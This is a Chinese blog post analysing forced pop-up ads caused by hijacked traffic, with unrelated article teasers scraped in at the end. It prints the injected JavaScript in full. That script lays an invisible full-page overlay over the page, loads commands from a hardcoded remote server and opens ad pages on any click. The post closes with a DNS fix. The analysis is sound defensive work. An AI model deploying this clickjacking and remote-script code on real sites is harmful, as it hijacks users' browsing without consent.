上网页面被强制广告——简单分析

一、现象描述

事情起因很简单,最近家里打开网页,老发现有点不正常,火狐打开页面鼠标在上面随便点击一下,立马弹出广告,起初认为可能是浏览器问题或者机器中招了,后来看了一下系统没问题,换了几个浏览器发现还是一样,具体描述就是,页面打开后,鼠标在页面上无论搁哪都是箭头,放超链接上也是箭头而不是小手图标,只要一点击,在弹出广告新页面,并且广告内容每次随机。

二、分析流程

之前一直没时间搞它,今天放假没事,打开电脑决定搞搞它,第一感觉是页面被人插入了什么东西,抄起Firebug开干。

2.1、随手打开一个页面,http://tools.jb51.net/tools/Escape.asp,瞅瞅,鼠标搁在超链接上,箭头形状,好家伙又来了,果断右键“使用Firebug查看元素”:

好家伙,至少查了四个JS,还有个宽高100%的div,一个大遮罩啊,那怪搁哪都是箭头了

<div id="tempDIv">
<div id="newDiv_link" style="position:fixed;z-index:99999;opacity:.0;filter:alpha(opacity=0);left:0px;top:0px;width:100%;height:100%;background-color:#FFF;">
</div>
</div>

2.2、开启Firebug果断重新载入,于是乎,原形毕露,来自于173.208.185.2,美国

2.3、果断查看那四个JS,发现是一样的:

2.4、拿去http://js.clicki.cn/解压美化后,还不错嘿嘿:

function CookieEnable() {
	var result = false;
	if (navigator.cookiesEnabled) return true;
	document.cookie = "pksrqup=1;";
	var cookieSet = document.cookie;
	if (cookieSet.indexOf("pksrqup=1") > -1) result = true;
	document.cookie = "";
	return result
};
if (self.location == top.location) {
	if (!loaded) {
		if (CookieEnable()) {
			var cBrowser = {
				versions: function() {
					var u = navigator.userAgent,
						app = navigator.appVersion;
					return {
						ios: !! u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),
						android: u.indexOf(‘Android‘) > -1 || u.indexOf(‘Linux‘) > -1,
						iPhone: u.indexOf(‘iPhone‘) > -1 || u.indexOf(‘Mac‘) > -1,
						iPad: u.indexOf(‘iPad‘) > -1
					}
				}()
			};
			var loaded = true;
			var oHead = ‘‘;
			var oScript = ‘‘;
			var sWebHost = window.location.host;
			if (sWebHost.indexOf("www.") == 0) {
				sWebHost = sWebHost.replace(/www./, "")
			};
			var iWebLink = ‘http://61.147.96.220:65008/keywords/‘;
			var jsSrc = iWebLink + ‘?type=2&kw=‘ + sWebHost + ‘&r=‘ + Math.random();
			var sDefaultUrl = ‘‘;

			function loadJsFile(src) {
				oHead = document.getElementsByTagName(‘HEAD‘).item(0);
				oScript = document.createElement("script");
				oScript.type = "text/javascript";
				oScript.src = src;
				oHead.appendChild(oScript)
			};

			function linkOpener() {
				var divId = ‘newDiv_link‘;
				var newDiv = "<div id=‘" + divId + "‘ style=‘position:fixed;z-index:99999;opacity:.0;filter:alpha(opacity=0);left:0px;top:0px;width:100%;height:100%;background-color:#FFF;‘></div>";
				var tmpDiv = document.createElement("div");
				tmpDiv.id = "tempDIv";
				tmpDiv.innerHTML = newDiv;
				document.body.appendChild(tmpDiv);
				var opener_Div = document.getElementById(divId);
				opener_Div.onclick = function() {
					var sCookieUrl = sDefaultUrl.replace(/&/g, ‘_‘);
					tempDIv.removeChild(document.getElementById(divId));
					if (cBrowser.versions.iPhone || cBrowser.versions.iPad || cBrowser.versions.ios || cBrowser.versions.android) {
						var setLink = iWebLink + ‘visited.php?type=3&url=‘ + sCookieUrl + ‘&r=‘ + Math.random();
						loadJsFile(setLink)
					} else {
						var setLink = iWebLink + ‘visited.php?type=2&url=‘ + sCookieUrl + ‘&r=‘ + Math.random();
						loadJsFile(setLink);
						window.open(sDefaultUrl)
					}
				}
			};

			function backCall(json) {
				if (json.ret == 0) {
					sDefaultUrl = json.data;
					linkOpener()
				} else if (json.ret == 100) {
					window.location.href = sDefaultUrl
				};
				oHead.removeChild(oScript)
			};
			loadJsFile(jsSrc)
		}
	}
}

2.5、所有秘密都藏在上面那段代码里,咱们一会再回头来看,先看看页面还有没有别的可疑的,显然我们还发现了这段:

2.6、接着在DOM看到:

如果没有猜错,点一下广告页面就是http://www.8ke.net/weibo.php?action=pc了,看这些iWebLink、jsSrc、sDefaultUrl是不是似成相识呢?没错就是上面那段JS脚本。

三、被强制广告的流程

综合上观察结合那段JS,我推断出了如下被强制广告的流程

3.1、首先页面加载时被插入了一个脚本(至于怎么被插入后面会有讲),也就是说你请求的http://tools.jb51.net/tools/Escape.asp被人动了手脚,最简单的情况就是在这个页面注入了这么一段:

<script type="text/javascript" src=" http://hm.baidu.com//h.js?b88cfc1ccab788f0903cac38c894caa3">
</script>

此时上面那个脚本就进来了,并且开始运行。

3.2、脚本先判断页面是否为top.location,否则终止;接着判断是否已经loaded过,否则终止;然后判断是否开启cookie,否则终止,等等,三个判断(不过貌似navigator.cookiesEnabled 写错了吧,看了此人水平也不怎地);

3.3、接着脚本通过navigator识别设备是否为IOS、Android、iPone、iPad系统,存于cBrowser,以便之后使用;

3.4、通过window.location.host获取主机头,例如tools.jb51.net;

3.5、接着构造远端的URL地址jsSrc(硬编码?),例如:http://61.147.96.220:65008/keywords/?type=2&kw=tools.jb51.net&r=0.0019117737800755652

3.6、以jsSrc为参数,调用loadJsFile(jsSrc)

3.7、loadJsFile(jsSrc)主要用于实现在head插入如下脚本

3.8、其中远端地址,例如:http://61.147.96.220:65008/keywords/?type=2&kw=tools.jb51.net&r=0.0019117737800755652 返回值为:

backCall({"ret":"0","data":"http:\/\/www.8ke.net\/weibo.php?action=pc"})

3.9、实际上loadJsFile()主要用来获取并执行远端发过来的指令,例如这里的backCall()函数

3.10、backCall()函数先判断传进来的json参数ret的值,如果为0设置,则设置sDefaultUrl的值为data,如:http://www.8ke.net/weibo.php?action=pc,然后调用linkOpener()函数,如果ret是100则直接window.location.href = sDefaultUrl,最后使用oHead.removeChild(oScript)将之前oHead.appendChild(oScript) 移除,所以咱之后在head是看不见这个脚本的

3.11、linkOpener()函数主要用于在页面插入一个div并绑定onclick的事件处理

3.12、先是动态创建一个覆盖整个页面的透明的div

<div id="tempDIv">
<div id="newDiv_link" style="position:fixed;z-index:99999;opacity:.0;filter:alpha(opacity=0);left:0px;top:0px;width:100%;height:100%;background-color:#FFF;">
</div>
</div>

3.13、之后通过document.body.appendChild(tmpDiv)将这个div添加到body里面

3.14、然后对上面添加的id为newDiv_link的div便签绑定一个onclick事件处理函数,至此页面加载完毕。

--------------------------------分割线-------------------------------------------------------------------------------------------------

3.15、当用户在页面上任何一个位置点击鼠标时,触发newDiv_link的onclick事件,调用事件处理函数

3.16、先把sDefaultUrl(取值如:http://www.8ke.net/weibo.php?action=pc)过滤一下,然后把tempDIv的div便签内容移除,之后判断设备是否是IOS或Android或iPhone或iPad,如果是则构造类似这样的链接:

http://61.147.96.220:65008/keywords/visited.php?type=3&url=http://www.8ke.net/weibo.php?action=pc&r=0.9964436281985068

否则构造:

http://61.147.96.220:65008/keywords/visited.php?type=2&url=http://www.8ke.net/weibo.php?action=pc&r=0.9964436281985068

3.17、之后调用上面loadJsFile(setLink)函数再次向远端发送请求,此外如果不是移动设备,则用window.open(sDefaultUrl)打开广告页面,页面弹出了,有木有

3.18、loadJsFile(setLink)再次在头部oHead.removeChild(oScript)插入脚本

向远端发送请求例如:http://61.147.96.220:65008/keywords/visited.php?type=2&url=http://www.8ke.net/weibo.php?action=pc&r=0.9964436281985068

3.19、远端响应:

3.20、再次调用backCall()函数,但是由于ret为-4故,直接oHead.removeChild(oScript)移除脚本,最后残留页面:

四、源头推断及处理

至此,被强插广告的流程基本被理清,一切都源于那段被插入的JS脚本,那个脚本又是如何来的呢?接触过流量劫持、JS脚本缓存投毒的童鞋一定很清楚,我这就不费口舌了,推荐看http://www.cnblogs.com/index-html/p/wifi_hijack_3.html

这里就不推断是运营商强插的也好或者是别人攻击污染也好,我查看了一下路由的DNS,问题是大大地:

果断去修改DNS改为指定的最爱:114.114.114.114,从此广告不再

神马,不会改DNS?推荐

修改DNS:http://jingyan.baidu.com/article/fc07f98975ff0d12fee51954.html

好用的DNS:http://jingyan.baidu.com/article/7f766daf44889a4101e1d083.html

转载请注明:http://blog.csdn.net/wangqiuyun/article/details/45424307

时间: 2024-10-22 00:52:57

上网页面被强制广告——简单分析的相关文章

Fragment嵌套带来的坑--页面点击无反应(顺带ViewPager之 FragmentPagerAdapter简单分析)

接手别人的老项目.新版本测试提出一个bug: 点击Home最小化的应用->系统设置界面 改变字体后->点击进入应用->3个由viewpager 的fragmentadapter管理的 tab页面点击都没反应. 这是一个比较蛋疼的bug,猜想了很多原因,都不对. 项目的结构是 activity 内有mainfragment,mainfragment又 包含viewpager,viewpager 使用FragmentPagerAdapter 管理3个页面.所以是 activity套2层fra

实时计算,流数据处理系统简介与简单分析

转自:http://www.csdn.net/article/2014-06-12/2820196-Storm 摘要:实时计算一般都是针对海量数据进行的,一般要求为秒级.实时计算主要分为两块:数据的实时入库.数据的实时计算.今天这篇文章详细介绍了实时计算,流数据处理系统简介与简单分析. 编者按:互联网领域的实时计算一般都是针对海量数据进行的,除了像非实时计算的需求(如计算结果准确)以外,实时计算最重要的一个需求是能够实时响应计算结果,一般要求为秒级.实时计算的今天,业界都没有一个准确的定义,什么

如何配置阿里公共DNS——上网加速、无广告、无劫持、访问网站响应快

我们都知道,我们要能上网,就必须要使用DNS,DNS是域名系统,能够使用户更方便的使用互联网,而不用去记住能够被机器直接读取的IP数串,也叫域名 解析.百度也曾经被黑客攻击过DNS,导致无法访问.DNS作为互联网的入口,越来越受到大家的重视.如此重要的东西,也常常被那些隐藏在角落里的黑客惦 记着,主动攻击每天都在发生着.攻击一旦成功,整个互联网的访问就瘫痪了.所以我们有必要更新我们一贯的DNS服务器解析地址.不过发生什么网上DNS国 际攻击,我们都能通过阿里DNS访问国内网站哦,还等什么~ 公众

搜索引擎原理之链接原理的简单分析

在google诞生以前,传统搜索引擎主要依靠页面内容中的关键词匹配搜索词进行排名.这种排名方式的短处现在看来显而易见,那就是很容易被刻意操纵.黑帽SEO在页面上推挤关键词,或加入与主题无关的热门关键词,都能提高排名,使搜索引擎排名结果质量大为下降.现在的搜索引擎都使用链接分析技术减少垃圾,提高用户体验.下面泡馆史明星就来简单的介绍链接在搜索引擎排名中的应用原理. 在排名中计入链接因素,不仅有助于减少垃圾,提高结果相关性,也使传统关键词匹配无法排名的文件能够被处理.比如图片.视频无法进行关键词匹配

Workflow相关表简单分析

静态定义表(没有ITEM_KEY,因为ITEM_KEY代表一个wf实例) --获取item_type定义. SELECT * FROM wf_item_types t WHERE t.name= 'CUX_TEST'; /*查询指定ITEM_TYPE中新建的activitie定义(没有activity的id).*/ SELECT * FROM wf_activities_tlt WHERE t.item_type= 'CUX_0005' AND t.version= 1; /*查询指定PROCE

zepto-selector.js简单分析

zepto 的selector模块是对jquery扩充选择器(jquery-selector-extensions)的部分实现.比如这样的选择方法:$('div:first') 和 el.is(':visible'). 下面是原代码,简单的写了一些注释- ;(function($){ var zepto = $.zepto, oldQsa = zepto.qsa, oldMatches = zepto.matches /* * 检察一个元素是否可见.除了要判断display是否是none之外,还

FFmpeg源代码简单分析:avformat_open_input()

本文简单分析FFmpeg中一个常用的函数:avformat_open_input().该函数用于打开多媒体数据并且获得一些相关的信息.它的声明位于libavformat\avformat.h,如下所示. /** * Open an input stream and read the header. The codecs are not opened. * The stream must be closed with avformat_close_input(). * * @param ps Po

ffplay.c函数结构简单分析(绘图)

近期重温了一下FFplay的源码. FFplay是FFmpeg项目提供的播放器演示样例.虽然FFplay不过一个简单的播放器演示样例,它的源码的量也是不少的. 之前看代码,主要是集中于某一个"点"进行研究,而没有从整体结构上进行分析.本文就打算弥补之前学习的不足,从整体结构上分析一下FFplay的源码,绘图理一下它的结构.当中还有诸多不足.以后有机会慢慢完好.说明一下自己画的结构图的规则:图中仅画出了比較重要的函数之间的调用关系. 粉红色的函数是FFmpeg编解码类库(libavcod

FFmpeg源代码简单分析:avformat_close_input()

本文简单分析FFmpeg的avformat_close_input()函数.该函数用于关闭一个AVFormatContext,一般情况下是和avformat_open_input()成对使用的. avformat_close_input()的声明位于libavformat\avformat.h,如下所示. /** * Close an opened input AVFormatContext. Free it and all its contents * and set *s to NULL.